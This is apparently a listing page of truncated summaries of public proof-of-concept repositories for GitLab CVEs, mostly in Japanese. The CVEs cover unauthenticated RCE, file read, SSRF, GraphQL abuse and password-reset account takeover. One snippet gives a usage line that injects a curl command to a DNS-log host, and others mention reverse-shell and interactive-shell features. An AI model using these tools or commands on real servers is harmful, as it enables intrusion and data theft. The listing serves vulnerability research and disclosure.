GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or...

CVE-2021-22205

CVE-2021-22205 GitLabは、ファイルパーサーに渡される画像ファイルを正しく検証していないため、コマンド実行が可能になっています。攻撃者は悪意のあるリクエストを構築してこの脆弱性を利用することで、対象システム上で任意のコマンドを実行し、最終的にGitLabサーバーを制御することができます。ネット上に公開されているスクリプトの多くはリバースシェル機能が不足しているため、公開スクリプトを修正し、ワンクリックでgetshellできる機能を追加しました。 影響を受けるバージョン 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/EE）...

CVE-2026-85706

CVE-2026-85706：GitLab CE/EE 未認証パストラバーサル CVE ：CVE-2026-85706、CVSS 3.1 10.0 （AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N） コンポーネント ：GitLab CE/EE Repository Commits API（Workhorse body-upload バリアント） 影響 ：18.7 ≤ version を引き起こし、badrequest! を通じて 400 レスポンスにそのままエコーされる。エコーは先着順であり、& / = はコンポーネント境界であり、パースは最初の不正な %...

CVE-2021-22205

CVE-2021-22205 影響バージョン： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 使用方法 root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token の取得： /users/signin から csrf-token を取得し、前述の CVE-2021-22205 POC を使用してアップロードパケットを構築し、認証されていないアップロードリクエストを実行して、最終的に RCE を達成します。 参照:...

GitLabSniper

GitLabSniper CVE-2026-85706 — GitLab CE/EE 未認証の任意ファイル読み取り 検出 · 公開プロジェクト列挙 · 回収 · 対話型シェル · subfinder/httpx パイプライン Author: Yunus Emre Öztaş mitsec X: x.com/ynsmroztas GitHub: github.com/ynsmroztas Site: ynsmroztas.github.io Mail: [email protected] 所有または明示的にテストを許可されたシステム（バグバウンティ / VDP /...

CVE-2021-22205

脆弱性の影響 GitLab CE/EEのバージョン11.9以降に影響を与える問題が発見されました。GitLabはファイルパーサーに渡される画像ファイルを適切に検証しておらず、その結果、リモートコマンド実行が可能でした。 影響を受ける製品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 環境 root@kitploit: export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish...

cve-2026-85706

cve-2026-85706 GitLab CE/EE における未認証の任意ローカルファイル読み取り。18.7～19.1.7、19.2.0～19.2.5、19.3.0～19.3.1 に影響。19.1.8 / 19.2.6 / 19.3.2 で修正済み（2026-09-10）。CVSS 10.0、実環境で悪用が報告されている。原報告は s3ntago によるもので、このリポジトリは私の writeup と PoC にすぎない。 免責事項 この PoC...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 この脆弱性は、パスワードリセット時のメール検証の処理方法に起因するバグによって発生しました。攻撃者はパスワードリセットリクエスト時に2つのメールアドレスを提供し、リセットコードが両方のアドレスに送信される可能性がありました。これにより、攻撃者はユーザーの現在のパスワードを知らなくても、任意のユーザーのパスワードをリセットできました。 影響を受けるバージョン 以下のバージョンを使用するGitLab CE/EEの全インスタンスが影響を受けました： 16.1 ～ 16.1.5 16...

CVE-2026-85706-PoC

CVE-2026-85706：GitLab CE/EE 未认证任意本地文件读取 CVE-2026-85706 是 GitLab CE/EE Repository Commits 和 Repository Files API 中的一个严重路径遍历 / 缺失认证漏洞：未认证的攻击者可以令服务器读取任意文件，并通过错误通道获取其内容。CVSS 3.1 10.0 （CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N）。 GitLab 的官方标题为 “仓库提交 API 中的路径遍历漏洞影响 GitLab CE/EE” 。修复程序 于 2026-09-10 在...

CVE-2023-7028

CVE-2023-7028 GitLab CE/EE の全バージョン（16.1 から 16.1.6 未満、16.2 から 16.2.9 未満、16.3 から 16.3.7 未満、16.4 から 16.4.5 未満、16.5 から 16.5.6 未満、16.6 から 16.6.4 未満、16.7 から 16.7.2 未満）に影響する問題が発見されました。この問題により、ユーザーアカウントのパスワードリセットメールが、未検証のメールアドレスに配信される可能性があります。 PoC は Kali 2023.3 でテスト済み Docker で GitLab 16.7.0-ee をインストール su...

CVE-2023-7028

CVE-2023-7028 Gitlab CVE-2023-7028: ユーザー操作なしのパスワードリセットによるアカウント乗っ取り GitLab CE/EE の重大な脆弱性 CVE-2023-7028 は、攻撃者によって簡単に悪用され、GitLab ユーザーアカウントのパスワードをリセットされる可能性があります。 影響を受けるものの、アカウントで二要素認証を有効にしているユーザーはアカウント乗っ取りの影響を受けません。また、LDAP ログインも安全です。 CVE-2023-7028 について CVE-2023-7028 は、以下のバージョンの GitLab Community...

CVE-2021-22205

CVE-2021-22205 説明 - CVE-2021-22205 の POC: Gitlab CE/EE RCE 未認証リモートコード実行脆弱性 POC && EXP - antx により 2021-10-29 に作成。 詳細 - GitLab CE/EE の 11.9 以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、リモートコマンド実行につながっていました。 CVE 重大度 - attackComplexity: LOW - attackVector: NETWORK -...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...

CVE-2021-22214

CVE-2021-22214 説明 - CVE-2021-22214のPoC: Gitlab CI Lint APIの未承認SSRF脆弱性 - 作成者: antx, 作成日: 2021-11-01. 詳細 - 内部ネットワークへのWebhookリクエストが有効な場合、GitLab CE/EE（バージョン10.5以降のすべてのバージョンに影響）において、登録が制限されているGitLabインスタンスでも、認証されていない攻撃者がサーバーサイドリクエストフォージェリ（SSRF）脆弱性を悪用できる可能性があります。 CVE深刻度 - attackComplexity: HIGH -...

CVE-2026-19478

CVE-2026-19478 GitLab GraphQL 未認証プロジェクト削除 ★ CVE-2026-19478 GitLab GraphQL @glintroduced 未認証任意メソッド呼び出し PoC ★ https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b 概要 CVE-2026-19478 は、GitLab CE/EE における未認証のデータ改ざん・削除 の脆弱性です（CVSS 9.4）。 GitLab は、ローリングデプロイの前方互換性のために GraphQL...

CVE-2021-22205-gitlab

脆弱性の影響 GitLab CE/EEの11.9以降の全バージョンにおいて、問題が発見されました。GitLabはファイルパーサーに渡される画像ファイルを適切に検証しておらず、その結果、リモートコード実行が発生する可能性がありました。 影響を受ける製品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 環境構築 root@kitploit: export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com ...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei テンプレート GitLab GraphQL API における認証不要の任意メソッド呼び出しの重大な脆弱性（CVSS 9.4）CVE-2026-19478 を検出するための、非破壊的な Nuclei テンプレートです。GitLab は 2026年8月17日 にこの脆弱性を修正しました。 TL;DR GitLab の GraphQL スキーマは、フィールドを GitLab の最小バージョンに制限する @glintroducedversion: "X.Y.Z"...

CVE-2023-2825

CVE-2023-2825 - GitLab CE/EE 16.0.0 のパストラバーサルによる任意ファイル読み取り 2023年5月23日、GitLabはバージョン16.0.1をリリースし、コミュニティエディション CE およびエンタープライズエディション EE バージョン16.0.0に影響を与える重大な脆弱性CVE-2023-2825を修正しました。この脆弱性により、認証されていないユーザーがパストラバーサルバグを通じて任意のファイルを読み取ることができます。これは、バグ報奨金プログラムを通じてHackerOneのpwnieによって発見されました。...

GitLab-CVE-2021-22205-

脆弱性の影響 GitLab CE/EE において、バージョン11.9以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡された画像ファイルを適切に検証しておらず、リモートコマンド実行が発生していました。 影響を受けるバージョン Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 脆弱性の影響 近日公開... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...

EUVD-2026-85736

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a...